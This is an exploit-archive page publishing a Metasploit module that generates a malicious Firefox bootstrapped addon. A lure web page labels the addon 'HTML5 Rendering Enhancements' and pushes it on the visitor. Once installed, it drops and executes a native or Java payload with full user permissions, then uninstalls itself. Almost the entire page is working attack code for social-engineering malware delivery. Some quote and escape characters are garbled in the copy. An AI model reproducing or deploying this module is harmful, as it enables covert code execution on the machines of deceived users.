Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution Exploit

Summary

Mozilla Firefox Bootstrapped Addon Social Engineering suffers from code execution vulnerability.

Credit:

Details

Vulnerable Systems:
 * Mozilla Firefox Bootstrapped Addon

require ‘msf/core’
require ‘rex’
require ‘rex/zip’

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize( info = {} )
super( update_info( info,
‘Name’ => ‘Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution’,
‘Description’ => %q{
This exploit dynamically creates a .xpi addon file.
The resulting bootstrapped Firefox addon is presented to
the victim via a web page with. The victim’s Firefox browser
will pop a dialog asking if they trust the addon.

Once the user clicks ‘install’, the addon is installed and
executes the payload with full user permissions. As of Firefox
4, this will work without a restart as the addon is marked to
be ‘bootstrapped’. As the addon will execute the payload after
each Firefox restart, an option can be given to automatically
uninstall the addon once the payload has been executed.
},
‘License’ => MSF_LICENSE,
‘Author’ => [ ‘mihi’ ],
‘References’ =>
[
[ ‘URL’, ‘https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions’ ],
[ ‘URL’, ‘http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector’ ]
],
‘DisclosureDate’ => ‘Jun 27 2007’,
‘Platform’ => [ ‘java’, ‘win’, ‘osx’, ‘linux’, ‘solaris’ ],
‘Payload’ => { ‘BadChars’ => ”, ‘DisableNops’ => true },
‘Targets’ =>
[
[ ‘Generic (Java Payload)’,
{
‘Platform’ => [‘java’],
‘Arch’ => ARCH_JAVA
}
],
[ ‘Windows x86 (Native Payload)’,
{
‘Platform’ => ‘win’,
‘Arch’ => ARCH_X86,
}
],
[ ‘Linux x86 (Native Payload)’,
{
‘Platform’ => ‘linux’,
‘Arch’ => ARCH_X86,
}
],
[ ‘Mac OS X PPC (Native Payload)’,
{
‘Platform’ => ‘osx’,
‘Arch’ => ARCH_PPC,
}
],
[ ‘Mac OS X x86 (Native Payload)’,
{
‘Platform’ => ‘osx’,
‘Arch’ => ARCH_X86,
}
]
],
‘DefaultTarget’ => 1
))

register_options( [
OptString.new(‘ADDONNAME’, [ true,
‘The addon name.’,
‘HTML5 Rendering Enhancements’
]),
OptBool.new(‘AutoUninstall’, [ true,
‘Automatically uninstall the addon after payload execution’,
true
])
], self.class)
end

def on_request_uri( cli, request )
msg = ‘#{cli.peerhost.ljust(16)} #{self.shortname}’

if not request.uri.match(/.xpi$/i)
if not request.uri.match(//$/)
send_redirect( cli, get_resource() + ‘/’, ”)
return
end

print_status(‘#{msg} Handling request…’ )

send_response_html( cli, generate_html, { ‘Content-Type’ => ‘text/html’ } )
return
end

p = regenerate_payload(cli)
if not p
print_error(‘#{msg} Failed to generate the payload.’)
# Send them a 404 so the browser doesn’t hang waiting for data
# that will never come.
send_not_found(cli)
return
end

# If we haven’t returned yet, then this is a request for our xpi,
# so build one

if target.name == ‘Generic (Java Payload)’
jar = p.encoded_jar
jar.build_manifest(:main_class => ‘metasploit.Payload’)
payload_file = jar.pack
payload_name=’payload.jar’
payload_script=%q|
var java = Components.classes[‘@mozilla.org/appshell/window-mediator;1’].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow(‘navigator:browser’).Packages.java
java.lang.System.setSecurityManager(null);
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
var m = cl.loadClass(‘metasploit.Payload’).getMethod(‘main’, [java.lang.Class.forName(‘[Ljava.lang.String;’)]);
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName(‘java.lang.String’), 0)]);
|
else
payload_file = generate_payload_exe
payload_name=’payload.exe’
payload_script=%q|
var process=Components.classes[‘@mozilla.org/process/util;1’].createInstance(Components.interfaces.nsIProcess);
process.init(tmp);
process.run(false,[],0);
|
end

zip = Rex::Zip::Archive.new
xpi_guid = ‘{d0df471a-9896-4e6d-83e2-13a04ed6df33}’ #TODO randomize!

bootstrap_script = %q|
function startup(data, reason) {
var file = Components.classes[‘@mozilla.org/file/directory_service;1’].
getService(Components.interfaces.nsIProperties).
get(‘ProfD’, Components.interfaces.nsIFile);
file.append(‘extensions’);
|
bootstrap_script << %Q|xpi_guid=’#{xpi_guid}’;|
bootstrap_script << %Q|payload_name=’#{payload_name}’;|
bootstrap_script << %q|
file.append(xpi_guid);
file.append(payload_name);
var tmp = Components.classes[‘@mozilla.org/file/directory_service;1’].
getService(Components.interfaces.nsIProperties).
get(‘TmpD’, Components.interfaces.nsIFile);
tmp.append(payload_name);
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
file.copyTo(tmp.parent, tmp.leafName);
|
bootstrap_script << payload_script

if (datastore[‘AutoUninstall’])
bootstrap_script << %q|
try { // Fx < 4.0
Components.classes[‘@mozilla.org/extensions/manager;1’].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
} catch (e) {}
try { // Fx 4.0 and later
Components.utils.import(‘resource://gre/modules/AddonManager.jsm’);
AddonManager.getAddonByID(xpi_guid, function(addon) {
addon.uninstall();
});
} catch (e) {}
|
end

bootstrap_script << ‘}’

zip.add_file(‘bootstrap.js’, bootstrap_script)
zip.add_file(payload_name, payload_file)
zip.add_file(‘chrome.manifest’, ‘contentt#{xpi_guid}t./noverlaytchrome://browser/content/browser.xultchrome://#{xpi_guid}/content/overlay.xuln’)
zip.add_file(‘install.rdf’, %Q|<?xml version=’1.0′?>
<RDF >
<Description about=’urn:mozilla:install-manifest’>
<em:id>#{xpi_guid}</em:id>
<em:name>#{datastore[‘ADDONNAME’]}</em:name>
<em:version>1.0</em:version>
<em:bootstrap>true</em:bootstrap>
<em:unpack>true</em:unpack>
<em:targetApplication>
<Description>
<em:id>toolkit@mozilla.org</em:id>
<em:minVersion>1.0</em:minVersion>
<em:maxVersion>*</em:maxVersion>
</Description>
</em:targetApplication>
<em:targetApplication>
<Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>1.0</em:minVersion>
<em:maxVersion>*</em:maxVersion>
</Description>
</em:targetApplication>
</Description>
</RDF>|)
zip.add_file(‘overlay.xul’, %q|<?xml version=’1.0′?>
<overlay >
<script src=’bootstrap.js’/>
<script><![CDATA[window.addEventListener(‘load’, function(e) { startup(); }, false);]]></script>
</overlay>|)

print_status(‘#{msg} Sending xpi and waiting for user to click ‘accept’…’)
send_response( cli, zip.pack, { ‘Content-Type’ => ‘application/x-xpinstall’ } )
handler( cli )
end

def generate_html
html = %Q|<html><head><title>Loading, Please Wait…</title></head>n|
html << %Q|<body><center><p>Addon required to view this page. <a href=’addon.xpi’>[Install]</a></p></center>n|
html << %Q|<script>window.location.href=’addon.xpi’;</script>n|
html << %Q|</body></html>|
return html
end
end

Disclosure Timeline:
Published: 2012-04-11

Categories: Exploits